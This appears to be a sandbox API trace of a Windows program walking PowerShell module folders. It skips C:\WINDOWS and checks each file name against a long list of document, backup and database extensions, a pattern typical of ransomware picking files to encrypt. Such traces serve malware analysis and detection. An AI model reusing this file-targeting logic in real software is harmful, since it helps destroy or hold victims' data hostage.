	[0159.902] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a56a3f4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x39200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PackageManagement.MsiProvider.dll", cAlternateFileName="MID877~1.DLL")) returned 1
	[0159.902] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PackageManagement.MsuProvider.dll", cAlternateFileName="MI0F1E~1.DLL")) returned 1
	[0159.904] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x27e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.PackageManagement.dll", cAlternateFileName="MI6305~1.DLL")) returned 1
	[0159.904] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x405f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PackageManagement.format.ps1xml", cAlternateFileName="PACKAG~1.PS1")) returned 1
	[0159.904] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8fa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PackageManagement.psd1", cAlternateFileName="PACKAG~1.PSD")) returned 1
	[0159.905] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2999, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PackageProviderFunctions.psm1", cAlternateFileName="PACKAG~1.PSM")) returned 1
	[0159.905] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2999, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PackageProviderFunctions.psm1", cAlternateFileName="PACKAG~1.PSM")) returned 0
	[0159.905] FindClose (in: hFindFile=0x5dd840 | out: hFindFile=0x5dd840) returned 1
	[0159.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0159.905] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb512ac95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 0
	[0159.905] FindClose (in: hFindFile=0x5ddb40 | out: hFindFile=0x5ddb40) returned 1
	[0159.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0159.909] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester", cAlternateFileName="")) returned 1
	[0159.910] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0159.910] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester") returned 49
	[0159.910] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\*", lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ddb40
	[0159.911] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0159.911] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e338c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.3.5", cAlternateFileName="3351CC~1.5")) returned 1
	[0159.911] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0159.911] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5") returned 55
	[0159.911] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\*", lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e338c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde00
	[0159.957] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e338c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0159.957] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e40b4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bin", cAlternateFileName="")) returned 1
	[0159.958] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\bin") returned 59
	[0159.958] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\bin") returned 1
	[0159.958] lstrlenW (lpString="bin") returned 3
	[0159.958] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="bin") returned 1
	[0159.958] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x464ffb8
	[0159.959] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\bin") returned 59
	[0159.959] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\bin\\*", lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e40b4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dde40
	[0159.960] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e40b4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0159.960] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester.bat", cAlternateFileName="")) returned 1
	[0159.960] lstrlenW (lpString="Pester.bat") returned 10
	[0159.960] lstrlenW (lpString=".1cd") returned 4
	[0159.960] lstrcmpiW (lpString1=".1cd", lpString2=".bat") returned -1
	[0159.960] lstrlenW (lpString=".3ds") returned 4
	[0159.960] lstrcmpiW (lpString1=".3ds", lpString2=".bat") returned -1
	[0159.960] lstrlenW (lpString=".3fr") returned 4
	[0159.960] lstrcmpiW (lpString1=".3fr", lpString2=".bat") returned -1
	[0159.960] lstrlenW (lpString=".3g2") returned 4
	[0159.960] lstrcmpiW (lpString1=".3g2", lpString2=".bat") returned -1
	[0159.960] lstrlenW (lpString=".3gp") returned 4
	[0159.960] lstrcmpiW (lpString1=".3gp", lpString2=".bat") returned -1
	[0159.960] lstrlenW (lpString=".7z") returned 3
	[0159.960] lstrcmpiW (lpString1=".7z", lpString2="bat") returned -1
	[0159.960] lstrlenW (lpString=".accda") returned 6
	[0159.960] lstrcmpiW (lpString1=".accda", lpString2="er.bat") returned -1
	[0159.960] lstrlenW (lpString=".accdb") returned 6
	[0159.960] lstrcmpiW (lpString1=".accdb", lpString2="er.bat") returned -1
	[0159.960] lstrlenW (lpString=".accdc") returned 6
	[0159.960] lstrcmpiW (lpString1=".accdc", lpString2="er.bat") returned -1
	[0159.960] lstrlenW (lpString=".accde") returned 6
	[0159.960] lstrcmpiW (lpString1=".accde", lpString2="er.bat") returned -1
	[0159.960] lstrlenW (lpString=".accdt") returned 6
	[0159.960] lstrcmpiW (lpString1=".accdt", lpString2="er.bat") returned -1
	[0159.961] lstrlenW (lpString=".accdw") returned 6
	[0159.961] lstrcmpiW (lpString1=".accdw", lpString2="er.bat") returned -1
	[0159.961] lstrlenW (lpString=".adb") returned 4
	[0159.961] lstrcmpiW (lpString1=".adb", lpString2=".bat") returned -1
	[0159.961] lstrlenW (lpString=".adp") returned 4
	[0159.961] lstrcmpiW (lpString1=".adp", lpString2=".bat") returned -1
	[0159.961] lstrlenW (lpString=".ai") returned 3
	[0159.961] lstrcmpiW (lpString1=".ai", lpString2="bat") returned -1
	[0159.961] lstrlenW (lpString=".ai3") returned 4
	[0159.961] lstrcmpiW (lpString1=".ai3", lpString2=".bat") returned -1
	[0159.961] lstrlenW (lpString=".ai4") returned 4
	[0159.961] lstrcmpiW (lpString1=".ai4", lpString2=".bat") returned -1
	[0159.961] lstrlenW (lpString=".ai5") returned 4
	[0159.961] lstrcmpiW (lpString1=".ai5", lpString2=".bat") returned -1
	[0159.961] lstrlenW (lpString=".ai6") returned 4
	[0159.961] lstrcmpiW (lpString1=".ai6", lpString2=".bat") returned -1
	[0159.961] lstrlenW (lpString=".ai7") returned 4
	[0159.961] lstrcmpiW (lpString1=".ai7", lpString2=".bat") returned -1
	[0159.961] lstrlenW (lpString=".ai8") returned 4
	[0159.961] lstrcmpiW (lpString1=".ai8", lpString2=".bat") returned -1
	[0159.961] lstrlenW (lpString=".anim") returned 5
	[0159.961] lstrcmpiW (lpString1=".anim", lpString2="r.bat") returned -1
	[0159.961] lstrlenW (lpString=".arw") returned 4
	[0159.961] lstrcmpiW (lpString1=".arw", lpString2=".bat") returned -1
	[0159.961] lstrlenW (lpString=".as") returned 3
	[0159.961] lstrcmpiW (lpString1=".as", lpString2="bat") returned -1
	[0159.961] lstrlenW (lpString=".asa") returned 4
	[0159.961] lstrcmpiW (lpString1=".asa", lpString2=".bat") returned -1
	[0159.961] lstrlenW (lpString=".asc") returned 4
	[0159.962] lstrcmpiW (lpString1=".asc", lpString2=".bat") returned -1
	[0159.962] lstrlenW (lpString=".ascx") returned 5
	[0159.962] lstrcmpiW (lpString1=".ascx", lpString2="r.bat") returned -1
	[0159.962] lstrlenW (lpString=".asm") returned 4
	[0159.962] lstrcmpiW (lpString1=".asm", lpString2=".bat") returned -1
	[0159.962] lstrlenW (lpString=".asmx") returned 5
	[0159.962] lstrcmpiW (lpString1=".asmx", lpString2="r.bat") returned -1
	[0159.962] lstrlenW (lpString=".asp") returned 4
	[0159.962] lstrcmpiW (lpString1=".asp", lpString2=".bat") returned -1
	[0159.962] lstrlenW (lpString=".aspx") returned 5
	[0159.962] lstrcmpiW (lpString1=".aspx", lpString2="r.bat") returned -1
	[0159.962] lstrlenW (lpString=".asr") returned 4
	[0159.962] lstrcmpiW (lpString1=".asr", lpString2=".bat") returned -1
	[0159.962] lstrlenW (lpString=".asx") returned 4
	[0159.962] lstrcmpiW (lpString1=".asx", lpString2=".bat") returned -1
	[0159.962] lstrlenW (lpString=".avi") returned 4
	[0159.962] lstrcmpiW (lpString1=".avi", lpString2=".bat") returned -1
	[0159.962] lstrlenW (lpString=".avs") returned 4
	[0159.962] lstrcmpiW (lpString1=".avs", lpString2=".bat") returned -1
	[0159.962] lstrlenW (lpString=".backup") returned 7
	[0159.962] lstrcmpiW (lpString1=".backup", lpString2="ter.bat") returned -1
	[0159.962] lstrlenW (lpString=".bak") returned 4
	[0159.962] lstrcmpiW (lpString1=".bak", lpString2=".bat") returned -1
	[0159.962] lstrlenW (lpString=".bay") returned 4
	[0159.962] lstrcmpiW (lpString1=".bay", lpString2=".bat") returned 1
	[0159.962] lstrlenW (lpString=".bd") returned 3
	[0159.962] lstrcmpiW (lpString1=".bd", lpString2="bat") returned -1
	[0159.962] lstrlenW (lpString=".bin") returned 4
	[0159.962] lstrcmpiW (lpString1=".bin", lpString2=".bat") returned 1
	[0159.962] lstrlenW (lpString=".bmp") returned 4
	[0159.963] lstrcmpiW (lpString1=".bmp", lpString2=".bat") returned 1
	[0159.963] lstrlenW (lpString=".bz2") returned 4
	[0159.963] lstrcmpiW (lpString1=".bz2", lpString2=".bat") returned 1
	[0159.963] lstrlenW (lpString=".c") returned 2
	[0159.963] lstrcmpiW (lpString1=".c", lpString2="at") returned -1
	[0159.963] lstrlenW (lpString=".cdr") returned 4
	[0159.963] lstrcmpiW (lpString1=".cdr", lpString2=".bat") returned 1
	[0159.963] lstrlenW (lpString=".cer") returned 4
	[0159.963] lstrcmpiW (lpString1=".cer", lpString2=".bat") returned 1
	[0159.963] lstrlenW (lpString=".cf") returned 3
	[0159.963] lstrcmpiW (lpString1=".cf", lpString2="bat") returned -1
	[0159.963] lstrlenW (lpString=".cfc") returned 4
	[0159.963] lstrcmpiW (lpString1=".cfc", lpString2=".bat") returned 1
	[0159.963] lstrlenW (lpString=".cfm") returned 4
	[0159.963] lstrcmpiW (lpString1=".cfm", lpString2=".bat") returned 1
	[0159.963] lstrlenW (lpString=".cfml") returned 5
	[0159.963] lstrcmpiW (lpString1=".cfml", lpString2="r.bat") returned -1
	[0159.963] lstrlenW (lpString=".cfu") returned 4
	[0159.963] lstrcmpiW (lpString1=".cfu", lpString2=".bat") returned 1
	[0159.963] lstrlenW (lpString=".chm") returned 4
	[0159.963] lstrcmpiW (lpString1=".chm", lpString2=".bat") returned 1
	[0159.963] lstrlenW (lpString=".cin") returned 4
	[0159.963] lstrcmpiW (lpString1=".cin", lpString2=".bat") returned 1
	[0159.963] lstrlenW (lpString=".class") returned 6
	[0159.963] lstrcmpiW (lpString1=".class", lpString2="er.bat") returned -1
	[0159.963] lstrlenW (lpString=".clx") returned 4
	[0159.963] lstrcmpiW (lpString1=".clx", lpString2=".bat") returned 1
	[0159.963] lstrlenW (lpString=".config") returned 7
	[0159.963] lstrcmpiW (lpString1=".config", lpString2="ter.bat") returned -1
	[0159.964] lstrlenW (lpString=".cpp") returned 4
	[0159.964] lstrcmpiW (lpString1=".cpp", lpString2=".bat") returned 1
	[0159.964] lstrlenW (lpString=".cr2") returned 4
	[0159.964] lstrcmpiW (lpString1=".cr2", lpString2=".bat") returned 1
	[0159.964] lstrlenW (lpString=".crt") returned 4
	[0159.964] lstrcmpiW (lpString1=".crt", lpString2=".bat") returned 1
	[0159.964] lstrlenW (lpString=".crw") returned 4
	[0159.964] lstrcmpiW (lpString1=".crw", lpString2=".bat") returned 1
	[0159.964] lstrlenW (lpString=".cs") returned 3
	[0159.964] lstrcmpiW (lpString1=".cs", lpString2="bat") returned -1
	[0159.964] lstrlenW (lpString=".css") returned 4
	[0159.964] lstrcmpiW (lpString1=".css", lpString2=".bat") returned 1
	[0159.964] lstrlenW (lpString=".csv") returned 4
	[0159.964] lstrcmpiW (lpString1=".csv", lpString2=".bat") returned 1
	[0159.964] lstrlenW (lpString=".cub") returned 4
	[0159.964] lstrcmpiW (lpString1=".cub", lpString2=".bat") returned 1
	[0159.964] lstrlenW (lpString=".dae") returned 4
	[0159.964] lstrcmpiW (lpString1=".dae", lpString2=".bat") returned 1
	[0159.964] lstrlenW (lpString=".dat") returned 4
	[0159.964] lstrcmpiW (lpString1=".dat", lpString2=".bat") returned 1
	[0159.964] lstrlenW (lpString=".db") returned 3
	[0159.964] lstrcmpiW (lpString1=".db", lpString2="bat") returned -1
	[0159.965] lstrlenW (lpString=".dbf") returned 4
	[0159.965] lstrcmpiW (lpString1=".dbf", lpString2=".bat") returned 1
	[0159.965] lstrlenW (lpString=".dbx") returned 4
	[0159.965] lstrcmpiW (lpString1=".dbx", lpString2=".bat") returned 1
	[0159.965] lstrlenW (lpString=".dc3") returned 4
	[0159.965] lstrcmpiW (lpString1=".dc3", lpString2=".bat") returned 1
	[0159.965] lstrlenW (lpString=".dcm") returned 4
	[0159.965] lstrcmpiW (lpString1=".dcm", lpString2=".bat") returned 1
	[0159.965] lstrlenW (lpString=".dcr") returned 4
	[0159.965] lstrcmpiW (lpString1=".dcr", lpString2=".bat") returned 1
	[0159.965] lstrlenW (lpString=".der") returned 4
	[0159.965] lstrcmpiW (lpString1=".der", lpString2=".bat") returned 1
	[0159.965] lstrlenW (lpString=".dib") returned 4
	[0159.965] lstrcmpiW (lpString1=".dib", lpString2=".bat") returned 1
	[0159.965] lstrlenW (lpString=".dic") returned 4
	[0159.965] lstrcmpiW (lpString1=".dic", lpString2=".bat") returned 1
	[0159.965] lstrlenW (lpString=".dif") returned 4
	[0159.965] lstrcmpiW (lpString1=".dif", lpString2=".bat") returned 1
	[0159.965] lstrlenW (lpString=".divx") returned 5
	[0159.965] lstrcmpiW (lpString1=".divx", lpString2="r.bat") returned -1
	[0159.965] lstrlenW (lpString=".djvu") returned 5
	[0159.966] lstrcmpiW (lpString1=".djvu", lpString2="r.bat") returned -1
	[0159.966] lstrlenW (lpString=".dng") returned 4
	[0159.966] lstrcmpiW (lpString1=".dng", lpString2=".bat") returned 1
	[0159.966] lstrlenW (lpString=".doc") returned 4
	[0159.966] lstrcmpiW (lpString1=".doc", lpString2=".bat") returned 1
	[0159.966] lstrlenW (lpString=".docm") returned 5
	[0159.966] lstrcmpiW (lpString1=".docm", lpString2="r.bat") returned -1
	[0159.966] lstrlenW (lpString=".docx") returned 5
	[0159.966] lstrcmpiW (lpString1=".docx", lpString2="r.bat") returned -1
	[0159.966] lstrlenW (lpString=".dot") returned 4
	[0159.966] lstrcmpiW (lpString1=".dot", lpString2=".bat") returned 1
	[0159.966] lstrlenW (lpString=".dotm") returned 5
	[0159.966] lstrcmpiW (lpString1=".dotm", lpString2="r.bat") returned -1
	[0159.966] lstrlenW (lpString=".dotx") returned 5
	[0159.966] lstrcmpiW (lpString1=".dotx", lpString2="r.bat") returned -1
	[0159.966] lstrlenW (lpString=".dpx") returned 4
	[0159.966] lstrcmpiW (lpString1=".dpx", lpString2=".bat") returned 1
	[0159.967] lstrlenW (lpString=".dqy") returned 4
	[0159.967] lstrcmpiW (lpString1=".dqy", lpString2=".bat") returned 1
	[0159.967] lstrlenW (lpString=".dsn") returned 4
	[0159.967] lstrcmpiW (lpString1=".dsn", lpString2=".bat") returned 1
	[0159.967] lstrlenW (lpString=".dt") returned 3
	[0159.967] lstrcmpiW (lpString1=".dt", lpString2="bat") returned -1
	[0159.967] lstrlenW (lpString=".dtd") returned 4
	[0159.967] lstrcmpiW (lpString1=".dtd", lpString2=".bat") returned 1
	[0159.967] lstrlenW (lpString=".dwg") returned 4
	[0159.967] lstrcmpiW (lpString1=".dwg", lpString2=".bat") returned 1
	[0159.967] lstrlenW (lpString=".dwt") returned 4
	[0159.967] lstrcmpiW (lpString1=".dwt", lpString2=".bat") returned 1
	[0159.967] lstrlenW (lpString=".dx") returned 3
	[0159.967] lstrcmpiW (lpString1=".dx", lpString2="bat") returned -1
	[0159.967] lstrlenW (lpString=".dxf") returned 4
	[0159.967] lstrcmpiW (lpString1=".dxf", lpString2=".bat") returned 1
	[0159.967] lstrlenW (lpString=".edml") returned 5
	[0159.967] lstrcmpiW (lpString1=".edml", lpString2="r.bat") returned -1
	[0159.967] lstrlenW (lpString=".efd") returned 4
	[0159.968] lstrcmpiW (lpString1=".efd", lpString2=".bat") returned 1
	[0159.968] lstrlenW (lpString=".elf") returned 4
	[0159.968] lstrcmpiW (lpString1=".elf", lpString2=".bat") returned 1
	[0159.968] lstrlenW (lpString=".emf") returned 4
	[0159.968] lstrcmpiW (lpString1=".emf", lpString2=".bat") returned 1
	[0159.968] lstrlenW (lpString=".emz") returned 4
	[0159.968] lstrcmpiW (lpString1=".emz", lpString2=".bat") returned 1
	[0159.968] lstrlenW (lpString=".epf") returned 4
	[0159.968] lstrcmpiW (lpString1=".epf", lpString2=".bat") returned 1
	[0159.968] lstrlenW (lpString=".eps") returned 4
	[0159.968] lstrcmpiW (lpString1=".eps", lpString2=".bat") returned 1
	[0159.968] lstrlenW (lpString=".epsf") returned 5
	[0159.968] lstrcmpiW (lpString1=".epsf", lpString2="r.bat") returned -1
	[0159.968] lstrlenW (lpString=".epsp") returned 5
	[0159.968] lstrcmpiW (lpString1=".epsp", lpString2="r.bat") returned -1
	[0159.968] lstrlenW (lpString=".erf") returned 4
	[0159.968] lstrcmpiW (lpString1=".erf", lpString2=".bat") returned 1
	[0159.969] lstrlenW (lpString=".exr") returned 4
	[0159.969] lstrcmpiW (lpString1=".exr", lpString2=".bat") returned 1
	[0159.969] lstrlenW (lpString=".f4v") returned 4
	[0159.969] lstrcmpiW (lpString1=".f4v", lpString2=".bat") returned 1
	[0159.969] lstrlenW (lpString=".fido") returned 5
	[0159.969] lstrcmpiW (lpString1=".fido", lpString2="r.bat") returned -1
	[0159.969] lstrlenW (lpString=".flm") returned 4
	[0159.969] lstrcmpiW (lpString1=".flm", lpString2=".bat") returned 1
	[0159.969] lstrlenW (lpString=".flv") returned 4
	[0159.969] lstrcmpiW (lpString1=".flv", lpString2=".bat") returned 1
	[0159.969] lstrlenW (lpString=".frm") returned 4
	[0159.969] lstrcmpiW (lpString1=".frm", lpString2=".bat") returned 1
	[0159.969] lstrlenW (lpString=".fxg") returned 4
	[0159.969] lstrcmpiW (lpString1=".fxg", lpString2=".bat") returned 1
	[0159.969] lstrlenW (lpString=".geo") returned 4
	[0159.969] lstrcmpiW (lpString1=".geo", lpString2=".bat") returned 1
	[0159.969] lstrlenW (lpString=".gif") returned 4
	[0159.969] lstrcmpiW (lpString1=".gif", lpString2=".bat") returned 1
	[0159.969] lstrlenW (lpString=".grs") returned 4
	[0159.970] lstrcmpiW (lpString1=".grs", lpString2=".bat") returned 1
	[0159.970] lstrlenW (lpString=".gz") returned 3
	[0159.970] lstrcmpiW (lpString1=".gz", lpString2="bat") returned -1
	[0159.970] lstrlenW (lpString=".h") returned 2
	[0159.970] lstrcmpiW (lpString1=".h", lpString2="at") returned -1
	[0159.970] lstrlenW (lpString=".hdr") returned 4
	[0159.970] lstrcmpiW (lpString1=".hdr", lpString2=".bat") returned 1
	[0159.970] lstrlenW (lpString=".hpp") returned 4
	[0159.970] lstrcmpiW (lpString1=".hpp", lpString2=".bat") returned 1
	[0159.970] lstrlenW (lpString=".hta") returned 4
	[0159.970] lstrcmpiW (lpString1=".hta", lpString2=".bat") returned 1
	[0159.970] lstrlenW (lpString=".htc") returned 4
	[0159.970] lstrcmpiW (lpString1=".htc", lpString2=".bat") returned 1
	[0159.970] lstrlenW (lpString=".htm") returned 4
	[0159.970] lstrcmpiW (lpString1=".htm", lpString2=".bat") returned 1
	[0159.970] lstrlenW (lpString=".html") returned 5
	[0159.970] lstrcmpiW (lpString1=".html", lpString2="r.bat") returned -1
	[0159.970] lstrlenW (lpString=".icb") returned 4
	[0159.970] lstrcmpiW (lpString1=".icb", lpString2=".bat") returned 1
	[0159.970] lstrlenW (lpString=".ics") returned 4
